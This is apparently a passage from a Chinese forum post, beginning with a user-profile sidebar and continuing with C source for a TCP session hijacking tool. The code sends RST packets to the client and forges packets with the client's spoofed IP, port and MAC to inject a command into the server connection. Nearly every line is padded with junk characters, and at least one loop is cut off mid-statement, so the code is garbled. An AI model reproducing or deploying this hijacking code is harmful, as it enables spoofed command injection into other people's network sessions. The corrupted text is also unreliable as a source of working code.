- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
|
pTCPPacket->iphdr.sourceIP, pTCPPacket->tcphdr.th_sport, TRUE, FALSE);
2 k% R0 g( z- v6 T a //reset action flag 0 y! _& y. N: v2 f9 I* P S3 v
ResetActionAllFlag(); : |$ Q' L% R6 C; N' u9 W) B7 F1 }8 i; |
} / H1 R4 e' s* f7 n
//start hijack % b# t0 _* r( p- S7 }" _% n
else if(g_dwAction == ACTION_HIJACK)
7 N' T/ Y8 \+ T) I {
+ d: V/ \$ O( w3 M8 x' J# z //send rst packet to client
' a/ t- X' z* W. K: V3 i SendRstPacket(pTCPPacket->tcphdr.th_ack, pTCPPacket->tcphdr.th_seq);
& ^0 d6 F1 O( F //send hijack packet to client
) [0 q, Z$ g i1 q" z+ W" {9 t. ?! W9 ? SendHiJackPacket(pTCPPacket);
. o2 T/ ?9 C+ v' L W //reset action flag
/ f- ~# V6 d9 n+ d R% x ResetActionAllFlag();
7 u4 T; i. l f8 E7 \, n& g } ) \2 T; l! s4 [2 y! n
}
$ k* ]6 Q" A! t( j" n //show the tcp data ( y6 ~6 g6 L4 D4 t! I6 j
if( (g_dwAction == ACTION_WATCH) && (usDataLen) ) . U" ~! k% |2 N# b1 `
{ 1 W* Q$ v/ @& t' `9 ^" ?! Q) N
ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE);
/ f1 b/ B1 }+ s$ ^2 A //暂不考虑IP、TCP头不是20字节的情况
$ C% J5 L8 H" N I, G% b: l( d //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen; . Z" W. v, B" O6 A( x
pStr = (char *)pTCPPacket + 54; # ?' C9 S4 D% @' m
for(i=0; i } % h% r m1 }8 \ |# Q
}
, g8 T) A' ]' f //debug output % M8 T% F" Q0 P% O: d
//ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE); % o$ h6 b0 v; q$ B
}//end of analyse packets while
" _7 K4 t. \) h* T- ]- ^( ? }//end of recv packets while
' t$ L* y+ V0 H2 G2 I6 _ PacketFreePacket(lpRecvPacket);
, j/ N+ m7 d" s/ o8 X return 0; + R4 U! y6 u$ u! k1 i) t( E
} 3 G( S8 `3 B2 B
3 A, H5 h; x3 v% x
! \) H' Q ?4 D g: M* G//
$ q. j* G1 G5 l) n9 N* H//功能:操作记录所有连接信息的单向链表
( l* Q& O' k" w5 l9 }# Z// , L/ @( ]7 f# R1 j$ o+ H
DWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP,
5 ]9 G+ L$ g6 q& s W& | USHORT uClientPort, BOOL bDelete, BOOL bAddNew) + ]1 H* G! ?/ K' p9 Y
{
/ X$ ^1 h9 o! I$ k8 U PCONNINFO pNew, pTmp; & F! h; S" w5 r8 m. v
, Z9 `2 E( A |; S& l
pTmp = g_pConnHead;
& [( X+ u; [; C+ X8 {. J while(pTmp) - f4 I0 n( E( l
{ 6 b' B0 d/ m5 ~4 a& B* p: E
if(pTmp->bActive)
$ S$ I3 Y* d# p8 p2 ] { ) r# l4 A* z) Z( S) w( T4 n# d$ c
//found it
& j# L. f! I- F8 b- X! ?! D if( (pTmp->dwServerIP == dwServerIP) &&
8 E/ K/ R5 t) t! \# U5 C$ N7 c (pTmp->uServerPort == uServerPort) &&
/ _" [& b% R8 y3 c2 y2 u# K (pTmp->dwClientIP == dwClientIP) &&
! U1 h7 B: J. c8 [! Y% i( n k4 b (pTmp->uClientPort == uClientPort) ) ! d$ j/ R% }' h5 Z$ m
{ # v* |7 @" R, b" W
if(bDelete) ' J; h9 w! s2 ?* o6 G' ^' w7 I
{ / C* t+ B" Z6 J+ p
pTmp->bActive = FALSE;
x4 w( [8 o! w e) P7 A return 0;
0 ^9 V* [5 W" \' a; k" _ } 6 V8 o2 h5 Y6 y. z% j
else return pTmp->ident;
* K n9 O" K* _/ ?8 b. V4 ^4 c } - w* i2 s. u* R/ ?8 B- v
} & E/ p. A4 G& ~' L0 c6 I3 P1 }: n
pTmp = pTmp->Next;
6 J+ v5 A- A& l; t" w1 P* `, t } 5 m' B3 m3 F5 S1 S. A( E/ P! t, x S
//not found, create new node - J" N0 ^! q& b7 c
if( (!pTmp) && (!bDelete) && (bAddNew) ) 1 X7 v" i* M) S4 E3 d* _# t& v% h
{ 8 G( v2 _1 e3 `' U( I5 \) K
//search unactive note
& ^8 G0 t' D, E6 G. i3 X9 a pTmp = g_pConnHead;
, b- N& s4 E& h3 _2 L0 O while(pTmp)
o5 l* J7 k8 l ^5 x, R {
1 w4 y% j/ M% U if(!pTmp->bActive) break;
3 c1 x1 S G4 ]' Y. L; E4 G. A: M pTmp = pTmp->Next;
0 L2 H' S8 r! u1 z4 w0 N4 O( m } 2 K! [9 T2 y* ` h
//found a unactive node
* t i( F4 q% O+ \ if(pTmp)
( G, o* \- r, Q5 i+ y { ( _- ]; k2 P0 D5 X
pTmp->dwServerIP = dwServerIP; ( L: Z$ c, m" c# s& y7 A
pTmp->uServerPort = uServerPort; ( ]; n- \3 d# U' `, D
pTmp->dwClientIP = dwClientIP; 8 g7 h3 u. d. C4 a* N9 v
pTmp->uClientPort = uClientPort; , X. N' W$ v( U2 _! b/ e
pTmp->bActive = TRUE;
2 _/ p" G, Z: [$ x( Z" U: |+ j* z4 r return pTmp->ident;
% t- C" n) T( c; R( L. x) a } , ?. a# F, ]( Z- t0 r( C" ?
//not found,create new node
G$ [2 L1 T5 b+ U2 B pNew = (PCONNINFO)malloc(sizeof(CONNINFO)); 5 s5 n; ~: E8 h4 H7 b* d1 W( F
if(!pNew) ( U/ l. B, ?! R$ G9 I
{ 1 H8 E& u3 N! {; a* b
printf("malloc for link node error:%d\n", GetLastError()); % P3 v1 G* {/ h5 G
return 0; # |9 S* h4 e+ n) N8 a3 ?
} : q1 t2 e) r5 H- y4 ^+ n- D( x1 {% \
//fill the struct * [3 d( J. s" m) ]1 x2 o. C. N
pNew->bActive = TRUE; 5 m; }/ t3 m' L, N
pNew->dwServerIP = dwServerIP;
7 c2 `6 ` E$ n* r pNew->uServerPort = uServerPort;
6 D" i; `2 j! Q0 D pNew->dwClientIP = dwClientIP; ; K. c; N2 u, v% t+ p
pNew->uClientPort = uClientPort; : {# }, W* w- |" p B
pNew->ident = ++g_ident;
3 z; }2 x: T, i pNew->Next = NULL; * k# e8 d, O w' x6 g# s) n
//add new node to link ' f0 A. T b. U% }* B3 c
if(!g_pConnHead)
" B( I @5 C/ K2 {& | g_pConnHead = g_pConnLast = pNew; ( l4 m* Y: f4 T2 O& L
else
' f. k6 _1 |" t6 c { / n; b* [9 Q5 H9 w: W3 A
g_pConnLast->Next = pNew;
$ W7 A) K Z0 }8 f# B* l& o0 |2 U' F& y g_pConnLast = pNew; % `$ j1 d9 `5 I- z* Y# ?, i: c
}
, @" j- K* w& r2 m2 w return pNew->ident;
; f B5 i v( Y; I- |* U }
% S. B1 {- i0 W2 Z+ F& ^- o+ V# [ return 0;
( a& P& m( O: g8 B6 z) o} 1 | r$ `8 e1 x0 _' S5 @
; {6 w. c% j* d7 t3 ?3 [" B$ T- W' }
//
( l. W( u& H1 h* N1 @//功能:判断一个数据包是不是只有ACK标志 0 S2 ^9 t* M+ q/ K$ b
// ! { p- S3 t# E- S" D
BOOL IsACKPacket(unsigned char flag)
) c. R8 `% A4 `, d% Z6 T1 Y; K{
1 s% |) I; Z- d" P9 ? int i, j=1; * E; o/ [! k9 W% L5 f3 x" f
for(i=0 ; i<4; i++)
) t: a5 L8 X0 I# d+ ~+ z {
) M: W; F$ V: E if(flag & j) return FALSE;
2 V. T6 e$ W5 b; p% g+ ~ j <<= 1; & F4 U( _5 f. k+ x; n4 a/ X
}
( ^5 e* @; P. K8 T$ K/ x# ^ if(!(flag & 0x10)) return FALSE;//is ack? 6 l' Z, t$ y6 Y0 h+ [" {
if(flag & 0x20) return FALSE;
0 Q0 Y# i- e- s4 } return TRUE; 5 i2 ^/ ]8 b2 U* ?$ d; w
}
) j; A/ Y3 k( T3 z0 Z0 H
, U" H$ L/ m1 C K// 7 g3 j7 A# I0 n6 S2 ^( { q. _
//功能:伪装成Client给Server发送数据包
, l2 ^; m+ D5 p0 u. g/ R// 4 w' ?9 V3 }, P, q
BOOL SendHiJackPacket(PTCPPACKET pTempletPacket) 9 i) \ B; S7 i- k
{
( V+ E2 v# l7 N! p$ @: a9 l* D! |& o* G- c8 {+ y
char szBuff[1520];
# A5 _/ j- x0 t, ~. y. c9 R PSDHDR psdhdr;
+ S& D" Q! F& f2 p" i# J PTCPPACKET pHiJackPacket = NULL; ! C' T1 h0 X6 `
BOOL bRet = FALSE;
0 J+ H5 ]7 Z; {0 O& c/ A* v: A7 ~' ^* K( g$ S9 n( N) P
__try
) d1 F' p0 c+ q6 w0 J. \5 S. w {
/ }* ^: J* r/ P5 T // ; j5 \; J/ @- i) j: @% T( s' H
if(!g_pCurrCtrlConn) __leave; ( C7 K) E1 ?! p5 y9 X% y
//allocate memory for hijack packet + p# p3 w' b$ I: ]& R8 M, U. R; o
pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET)); & L1 |, \4 [6 j
if(!pHiJackPacket) & ?2 Q7 X; p& w) i
{
# d; g% b5 f/ Y( B+ b7 l) N printf("malloc error:%d\n", GetLastError());
- b1 @2 b1 Z* r! e, @ J9 M# J, M$ e __leave; ' r D& q% j0 J* a1 }
}
: h' s) k2 H8 h& K6 m/ t- C memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET));
: `8 ?3 F" Y. p7 x3 e //-------------- modify the packet ---------------// 8 d( q/ N" N, A5 D
//modify ethernet head . W+ I, P4 W9 A3 ^' B" h' ~, v
memcpy(pHiJackPacket->ehhdr.DestMAC, g_szServerSideMAC, 6); % P, u+ P6 H) b0 X# c
memcpy(pHiJackPacket->ehhdr.SourceMAC, g_szOwnMAC, 6);
7 ?; s7 b/ m0 x. U, s$ L& E) R/ [ //modify ip head
* }% `8 c2 h) F6 M7 u/ A2 W: _ pHiJackPacket->iphdr.h_verlen = (4<<4 | sizeof(IPHDR)/sizeof(unsigned long)); & r: Q' K7 v& P. Q. g1 t# w
pHiJackPacket->iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand));
0 ?3 q9 f. W7 t5 I, K pHiJackPacket->iphdr.ident += 1;//标识加1
6 ?2 h9 b8 _+ o( c3 ` pHiJackPacket->iphdr.checksum = 0;
, R% y% O* B7 V3 F pHiJackPacket->iphdr.sourceIP = g_pCurrCtrlConn->dwClientIP;//源IP地址,伪装成client
/ _1 ^( Z( e/ _1 v pHiJackPacket->iphdr.destIP = g_pCurrCtrlConn->dwServerIP;//目的IP地址,接收hijack包的地址
9 y; P! y8 P# s //modify tcp head
" i$ d @/ {8 _ pHiJackPacket->tcphdr.th_sport = g_pCurrCtrlConn->uClientPort;//client's port
8 R3 i3 g4 o+ n8 ? pHiJackPacket->tcphdr.th_dport = g_pCurrCtrlConn->uServerPort;//server's port
, g, E! p. i- G& q( u# i pHiJackPacket->tcphdr.th_lenres = (sizeof(TCPHDR)/4 << 4 | 0); 5 J6 T8 U# d8 C
pHiJackPacket->tcphdr.th_flag = 0x18;// PA
, J* b+ k$ I3 X& N7 c b pHiJackPacket->tcphdr.th_sum = 0;
, y6 i0 ^$ z2 S/ A8 l) @ pHiJackPacket->tcphdr.th_win = 0x3F44; ( D2 a5 K, k; n: r$ N) j
//fill tcp psd head
6 W9 M& w H1 u; m: m4 u& G6 o psdhdr.saddr = pHiJackPacket->iphdr.sourceIP; ' y1 o. U8 H& E& p2 B
psdhdr.daddr = pHiJackPacket->iphdr.destIP; 9 S9 d$ z) P1 Y, `; M, @
psdhdr.mbz = 0;
7 `( N" [- q5 {+ G$ C; x" z* q9 J: \6 R psdhdr.ptcl = IPPROTO_TCP;
3 c4 N( R' q2 Z/ T psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len
$ t7 g6 v' |& C7 h, h# ~/ y3 x //calculate tcp checksum
5 H5 m, |: s- _; Y* ~3 p4 C memcpy(szBuff, &psdhdr, sizeof(PSDHDR)); 5 O6 q; s; Z/ H0 J) k# V
memcpy(szBuff + sizeof(PSDHDR), &pHiJackPacket->tcphdr, sizeof(TCPHDR));
! a n7 f' a f) R M, u% ^$ G memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand));
( n7 I5 ^, y- E* W pHiJackPacket->tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand));
6 g* l X( S* a, P //calculate IP checksum
6 F( C: S, B; A) h6 ]# M pHiJackPacket->iphdr.checksum = checksum((USHORT *)&pHiJackPacket->iphdr, sizeof(IPHDR));
% n _; }2 C7 m' D5 } //fill send buffer : R( {; w. F- Q' y+ u
memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET)); 9 a: R8 o! n% n* {
memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand));
8 N4 n; K5 U3 \$ W0 T0 a1 S. N memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4);
' \# V) o9 n: U: S, D& ~ memset(g_lpSendPacket->Buffer, 0, 1514); ; s% ^* @4 N; j' S! C) R6 E6 B
memcpy(g_lpSendPacket->Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand));
& r9 T) x w3 a" G if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE) . E! N8 G9 t2 j. g( z. H, G' e% c6 @
{
" E. {' c* @3 y1 S" x3 @2 y T- i printf("Error sending the hijack packets!\n"); 5 m$ e) |6 q$ \, w* P3 \# b
__leave;
$ p# Z$ c) N5 J6 O8 A }
5 {4 S" j" W1 {" D) W4 v5 m! G: T else printf("Send hijack packet ok!\n"); 1 D& V+ X) y7 N5 `- r6 [. V" k. u
bRet = TRUE; : a7 H7 f( b3 k2 |! Y* m
} |
|